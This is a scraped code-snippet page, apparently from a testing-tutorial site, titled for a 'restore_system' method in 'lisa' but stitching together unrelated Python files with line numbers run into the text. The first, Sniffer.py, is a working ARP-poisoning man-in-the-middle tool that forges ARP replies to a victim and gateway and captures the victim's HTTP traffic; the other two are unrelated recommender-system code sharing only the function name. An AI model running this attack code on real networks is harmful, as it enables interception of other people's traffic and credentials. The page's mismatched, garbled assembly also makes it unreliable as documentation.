How to use restore_system method in lisa

Best Python code snippet using lisa_python

Sniffer.py

Source:Sniffer.py Github

copy

Full Screen

...53 try:54 sniff(prn=lambda x: x.sprintf('{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}') ,iface=interface,count=n_paquetes,store=False,filter=filtro)5556 except KeyboardInterrupt:57 restore_system(getway_ip,getway_mac,target_ip,target_mac)58 59 60def restore_system(getway_ip,getway_mac,target_ip,target_mac):61 print('[*] Restableciendo target [*]...')62 send(ARP(op=2,psrc=getway_ip,pdst=target_ip,hwdst='ff:ff:ff:ff:ff:ff',hwsrc=getway_mac),count=5)63 send(ARP(op=2,psrc=target_ip,pdst=getway_ip,hwdst='ff:ff:ff:ff:ff:ff',hwsrc=target_mac),count=5)64 os.kill(os.getpid(),signal.SIGINT)65 return 06667def get_mac(ip_address):68 resposes,uname=srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address),timeout=2,retry=10)69 70 for s,r in resposes:71 return r[Ether].src72 return None73 74 75def poison_attack(getway_ip,getway_mac,target_ip,target_mac):76 poison_target=ARP()77 poison_target.op=278 poison_target.psrc=getway_ip79 poison_target.pdst=target_ip80 poison_target.hwdst=target_mac81 82 poison_getway=ARP()83 poison_getway.op=284 poison_getway.psrc=target_ip85 poison_getway.pdst=getway_ip86 poison_getway.hwdst=getway_mac87 print('[*] Comenzando el ataque [*]...')88 time.sleep(2)89 while True:90 try:91 send(poison_target)92 send(poison_getway)93 except KeyboardInterrupt:94 restore_system(getway_ip,getway_mac,target_ip,target_mac)95 print('[*] Ataque finalizado [*]')96 return 09798def attack_system():99 interface=input('[*] Interface [*]-> ')100 target_ip=input('[*] Ip objetivo [*]-> ') # Ip de la victima101 getway_ip=input('[*] Ip getwqy [*]-> ')102 n_paquetes=int(input('[*] Numero de paquete , 0 es infinito [*]-> '))103 target_mac=get_mac(target_ip)104 getway_mac=get_mac(getway_ip)105 conf.iface=interface106 conf.verb=0107108 if target_mac is None:109 print('[*] Fallo en obtencion de target mac [*] ')110 sys.exit(0)111 else: 112 print('[*] Objetivo {}--{} [*]'.format(target_ip,target_mac))113 time.sleep(1)114 115 if getway_mac is None:116 print('[*] Fallo en obtencion de getway mac [*] ')117 sys.exit(0)118 119 else:120 print('[*] Objetivo {}--{} [*]'.format(getway_ip,getway_mac))121 time.sleep(1)122 123 124 # start poison thread125 poison_thred=threading.Thread(target=poison_attack,args=(getway_ip,getway_mac,target_ip,target_mac))126 poison_thred.start()127 print('[*] Comenzando ataque a la {}'.format(target_ip))128 time.sleep(2)129 bpd='tcp on port 80 ip host '+target_ip130 try:131 print('[*] Capturando paquetes [*]')132 sniff(count=n_paquetes,filter=bpd,iface=interface,prn=captura_http,store=False)133 restore_system(getway_ip,getway_mac,target_ip,target_mac)134 except KeyboardInterrupt:135 restore_system(getway_ip,getway_mac,target_ip,target_mac)136 sys.exit(0)137138def Scan_red():139 rango=input('[*] Rango de Ip [*]-> ')140 interface=input('[*] Interface [*]-> ')141 conf.iface=interface142 try:143 arping(rango,iface=conf.iface)144145 except KeyboardInterrupt:146 print('[*] Fin de scaner [*]')147 print('\n')148 return 0149 ...

Full Screen

Full Screen

quick_start.py

Source:quick_start.py Github

copy

Full Screen

1# -*- encoding: utf-8 -*-2# @Time : 2021/1/83# @Author : Xiaolei Wang4# @email : wxl1999@foxmail.com5# UPDATE6# @Time : 2022/1/17# @Author : Yuanhang Zhou8# @email : sdzyh002@gmail.com9from crslab.config import Config10from crslab.data import get_dataset, get_dataloader11from crslab.system import get_system12def run_crslab(config, save_data=False, restore_data=False, save_system=False, restore_system=False,13 interact=False, debug=False):14 """A fast running api, which includes the complete process of training and testing models on specified datasets.15 Args:16 config (Config or str): an instance of ``Config`` or path to the config file,17 which should be in ``yaml`` format. You can use default config provided in the `Github repo`_,18 or write it by yourself.19 save_data (bool): whether to save data. Defaults to False.20 restore_data (bool): whether to restore data. Defaults to False.21 save_system (bool): whether to save system. Defaults to False.22 restore_system (bool): whether to restore system. Defaults to False.23 interact (bool): whether to interact with the system. Defaults to False.24 debug (bool): whether to debug the system. Defaults to False.25 .. _Github repo:26 https://github.com/RUCAIBox/CRSLab27 """28 # dataset & dataloader29 if isinstance(config['tokenize'], str):30 CRS_dataset = get_dataset(config, config['tokenize'], restore_data, save_data)31 side_data = CRS_dataset.side_data32 vocab = CRS_dataset.vocab33 side_data['dpath'] = CRS_dataset.dpath34 train_dataloader = get_dataloader('train', config, CRS_dataset.train_data, vocab, side_data)35 valid_dataloader = get_dataloader('valid', config, CRS_dataset.valid_data, vocab, side_data)36 test_dataloader = get_dataloader('test', config, CRS_dataset.test_data, vocab, side_data)37 else:38 tokenized_dataset = {}39 train_dataloader = {}40 valid_dataloader = {}41 test_dataloader = {}42 vocab = {}43 side_data = {}44 for task, tokenize in config['tokenize'].items():45 if tokenize in tokenized_dataset:46 dataset = tokenized_dataset[tokenize]47 else:48 dataset = get_dataset(config, tokenize, restore_data, save_data)49 tokenized_dataset[tokenize] = dataset50 train_data = dataset.train_data51 valid_data = dataset.valid_data52 test_data = dataset.test_data53 side_data[task] = dataset.side_data54 vocab[task] = dataset.vocab55 side_data[task]['dpath'] = dataset.dpath56 train_dataloader[task] = get_dataloader('train', config, train_data, vocab[task], side_data[task])57 valid_dataloader[task] = get_dataloader('valid', config, valid_data, vocab[task], side_data[task])58 test_dataloader[task] = get_dataloader('test', config, test_data, vocab[task], side_data[task])59 # system60 CRS = get_system(config, train_dataloader, valid_dataloader, test_dataloader, vocab, side_data, restore_system,61 interact, debug)62 63 CRS.fit()64 print('\nEnd')...

Full Screen

Full Screen

__init__.py

Source:__init__.py Github

copy

Full Screen

1# @Time : 2020/11/222# @Author : Kun Zhou3# @Email : francis_kun_zhou@163.com4# UPDATE:5# @Time : 2020/11/24, 2020/12/296# @Author : Kun Zhou, Xiaolei Wang7# @Email : francis_kun_zhou@163.com, wxl1999@foxmail.com8# UPDATE9# @Time : 2022/1/110# @Author : Yuanhang Zhou11# @email : sdzyh002@gmail.com12from loguru import logger13from .C2CRS_System import C2CRS_System14system_register_table = {15 'C2CRS_Model': C2CRS_System,16}17def get_system(opt, train_dataloader, valid_dataloader, test_dataloader, vocab, side_data, restore_system=False,18 interact=False, debug=False):19 """20 return the system class21 """22 model_name = opt['model_name']23 if model_name in system_register_table:24 logger.info(f'[Building system {model_name}]')25 system = system_register_table[model_name](opt, train_dataloader, valid_dataloader, test_dataloader, vocab,26 side_data, restore_system, interact, debug)27 logger.info(f'[Build system {model_name}]')28 return system29 else:30 raise NotImplementedError('The system with model [{}] in dataset [{}] has not been implemented'....

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run lisa automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful